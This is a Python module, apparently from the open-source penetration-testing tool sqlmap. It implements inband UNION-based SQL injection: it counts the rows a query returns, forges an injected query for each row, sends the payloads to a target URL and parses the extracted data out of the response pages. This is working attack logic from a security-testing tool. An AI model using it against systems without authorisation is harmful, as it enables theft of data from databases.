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222 lines
8.2 KiB
Python
222 lines
8.2 KiB
Python
#!/usr/bin/env python
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"""
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$Id$
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Copyright (c) 2006-2010 sqlmap developers (http://sqlmap.sourceforge.net/)
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See the file 'doc/COPYING' for copying permission
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"""
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import re
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import time
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from lib.core.agent import agent
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from lib.core.common import calculateDeltaSeconds
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from lib.core.common import getUnicode
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from lib.core.common import parseUnionPage
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from lib.core.data import conf
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from lib.core.data import kb
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from lib.core.data import logger
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from lib.core.data import queries
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from lib.core.enums import DBMS
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from lib.core.unescaper import unescaper
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from lib.request.connect import Connect as Request
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from lib.techniques.inband.union.test import unionTest
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from lib.utils.resume import resume
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reqCount = 0
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def unionUse(expression, direct=False, unescape=True, resetCounter=False, nullChar="NULL", unpack=True, dump=False):
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"""
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This function tests for an inband SQL injection on the target
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url then call its subsidiary function to effectively perform an
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inband SQL injection on the affected url
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"""
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count = None
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origExpr = expression
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start = time.time()
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startLimit = 0
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stopLimit = None
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test = True
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value = ""
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global reqCount
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if resetCounter:
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reqCount = 0
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if not kb.unionTest:
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unionTest()
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if not kb.unionCount:
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return
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# Prepare expression with delimiters
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if unescape:
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expression = agent.concatQuery(expression, unpack)
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expression = unescaper.unescape(expression)
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if ( kb.unionNegative or kb.unionFalseCond ) and not direct:
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_, _, _, _, _, expressionFieldsList, expressionFields = agent.getFields(origExpr)
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# We have to check if the SQL query might return multiple entries
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# and in such case forge the SQL limiting the query output one
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# entry per time
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# NOTE: I assume that only queries that get data from a table can
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# return multiple entries
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if " FROM " in expression:
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limitRegExp = re.search(queries[kb.dbms].limitregexp.query, expression, re.I)
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if limitRegExp:
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if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
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limitGroupStart = queries[kb.dbms].limitgroupstart.query
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limitGroupStop = queries[kb.dbms].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif kb.dbms == DBMS.MSSQL:
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limitGroupStart = queries[kb.dbms].limitgroupstart.query
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limitGroupStop = queries[kb.dbms].limitgroupstop.query
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if limitGroupStart.isdigit():
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startLimit = int(limitRegExp.group(int(limitGroupStart)))
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stopLimit = limitRegExp.group(int(limitGroupStop))
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limitCond = int(stopLimit) > 1
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elif kb.dbms == DBMS.ORACLE:
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limitCond = False
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else:
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limitCond = True
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# I assume that only queries NOT containing a "LIMIT #, 1"
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# (or similar depending on the back-end DBMS) can return
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# multiple entries
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if limitCond:
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if limitRegExp:
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stopLimit = int(stopLimit)
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# From now on we need only the expression until the " LIMIT "
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# (or similar, depending on the back-end DBMS) word
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if kb.dbms in ( DBMS.MYSQL, DBMS.POSTGRESQL ):
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stopLimit += startLimit
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untilLimitChar = expression.index(queries[kb.dbms].limitstring.query)
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expression = expression[:untilLimitChar]
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elif kb.dbms == DBMS.MSSQL:
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stopLimit += startLimit
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elif dump:
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if conf.limitStart:
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startLimit = conf.limitStart
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if conf.limitStop:
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stopLimit = conf.limitStop
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if not stopLimit or stopLimit <= 1:
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if kb.dbms == DBMS.ORACLE and expression.endswith("FROM DUAL"):
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test = False
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else:
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test = True
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if test:
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# Count the number of SQL query entries output
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countFirstField = queries[kb.dbms].count.query % expressionFieldsList[0]
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countedExpression = origExpr.replace(expressionFields, countFirstField, 1)
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if re.search(" ORDER BY ", expression, re.I):
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untilOrderChar = countedExpression.index(" ORDER BY ")
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countedExpression = countedExpression[:untilOrderChar]
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count = resume(countedExpression, None)
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if not stopLimit:
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if not count or not count.isdigit():
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output = unionUse(countedExpression, direct=True)
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if output:
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count = parseUnionPage(output, countedExpression)
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if count and count.isdigit() and int(count) > 0:
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stopLimit = int(count)
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infoMsg = "the SQL query provided returns "
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infoMsg += "%d entries" % stopLimit
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logger.info(infoMsg)
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elif count and not count.isdigit():
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warnMsg = "it was not possible to count the number "
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warnMsg += "of entries for the SQL query provided. "
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warnMsg += "sqlmap will assume that it returns only "
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warnMsg += "one entry"
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logger.warn(warnMsg)
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stopLimit = 1
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elif ( not count or int(count) == 0 ):
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return
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elif ( not count or int(count) == 0 ) and ( not stopLimit or stopLimit == 0 ):
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warnMsg = "the SQL query provided does not "
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warnMsg += "return any output"
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logger.warn(warnMsg)
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return
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for num in xrange(startLimit, stopLimit):
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if kb.dbms == DBMS.MSSQL:
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field = expressionFieldsList[0]
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elif kb.dbms == DBMS.ORACLE:
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field = expressionFieldsList
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else:
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field = None
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limitedExpr = agent.limitQuery(num, expression, field)
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output = resume(limitedExpr, None)
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if not output:
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output = unionUse(limitedExpr, direct=True, unescape=False)
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if output:
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value += output
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parseUnionPage(output, limitedExpr)
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return value
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value = unionUse(expression, direct=True, unescape=False)
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else:
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# Forge the inband SQL injection request
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query = agent.forgeInbandQuery(expression, nullChar=nullChar)
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payload = agent.payload(newValue=query)
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debugMsg = "query: %s" % query
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logger.debug(debugMsg)
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# Perform the request
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resultPage, _ = Request.queryPage(payload, content=True)
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reqCount += 1
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if kb.misc.start not in resultPage or kb.misc.stop not in resultPage:
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return
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# Parse the returned page to get the exact inband
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# sql injection output
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startPosition = resultPage.index(kb.misc.start)
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endPosition = resultPage.rindex(kb.misc.stop) + len(kb.misc.stop)
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value = getUnicode(resultPage[startPosition:endPosition])
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duration = calculateDeltaSeconds(start)
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debugMsg = "performed %d queries in %d seconds" % (reqCount, duration)
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logger.debug(debugMsg)
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return value
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